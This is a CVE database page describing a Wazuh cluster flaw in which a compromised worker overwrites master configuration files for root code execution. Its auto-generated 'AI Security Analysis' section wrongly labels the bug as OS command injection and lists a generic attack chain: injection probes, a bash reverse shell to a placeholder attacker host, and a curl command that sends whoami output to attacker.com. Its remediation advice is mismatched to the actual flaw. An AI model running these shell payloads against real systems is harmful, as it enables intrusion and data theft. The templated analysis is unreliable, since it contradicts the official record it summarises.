CVE Professor
›
Back
CVE-2026-74040

CVE-2026-74040 — MasterHandler — CWE-862

CRITICAL CVSS 9.1 NVD

CVE-2026-74040 is a CRITICAL severity Remote Code Execution (RCE) vulnerability (CWE-862) (CVSS 9.1/10) affecting MasterHandler. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with high privileges (PR:H) with zero user interaction (UI:N), triggering a scope change (S:C) across connected components and resulting in complete compromise of system confidentiality and integrity (C:H/I:H).

📄 Official NVD / MITRE Original Record Text

Wazuh versions from 3.9.0 before 4.14.8 contain an arbitrary file overwrite vulnerability in MasterHandler.process_files_from_worker allowing a cluster worker to overwrite protected master files. Attackers controlling a worker can use a trailing-slash basename bypass and missing extra_valid enforcement to overwrite ossec.conf and agent.conf, achieving root remote code execution across the manager and every agent.

Published 13.10.2026
ISO Date 2026-10-13
CVSS Version v3.1
Source NVD
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. High PR:H
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-74040
CVSS 9.1/10 · CRITICAL · 13.10.2026
CWE: CWE-862
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
OS Command Injection
Summary: Wazuh versions from 3.9.0 before 4.14.8 contain an arbitrary file overwrite vulnerability in MasterHandler.process_files_from_worker allowing a cluster worker to overwrite protected master files. Attackers controlling a worker can use a trailing-slash basename bypass and missing extra_valid enforcement to overwrite ossec.conf and agent.conf, achieving root remote code execution across the manag…

⚡ ATTACK CHAIN
1. Test injection: ; id, | id, backtick execution.
2. Blind via time delay: ; sleep 5
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
4. OOB: ; curl https://attacker.com/$(whoami|base64)

🔧 Tools: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190

🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down; pivot to other systems possible.

🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Never pass user input to shell commands.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
🚨 URGENT (48h) — Critical severity.

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-862
References & Advisories (4)
Related CVEs
9.4
CVE-2026-126574
Missing authorization vulnerability in ASUS Control Center Datacenter and Control Center Enterprise allows re
8.8
CVE-2026-126966
SmarterTools SmarterMail Missing Authorization Privilege Escalation Vulnerability. This vulnerability allows r
8.7
CVE-2026-127222
SGLang through 0.5.23, fixed in commit 7b5fb39, contains a missing authorization vulnerability in the POST /lo
8.3
CVE-2026-128664
An insecure password reset vulnerability in the Admin Password Recovery Module of PHPGurukul News Portal Proje
8.2
CVE-2026-130710
NocoDB before 2026.09.0 contains a missing authorization vulnerability in the job status polling endpoint of j
8.1
CVE-2026-116764
The The GDPR Framework By Data443 plugin for WordPress is vulnerable to authorization bypass in all versions u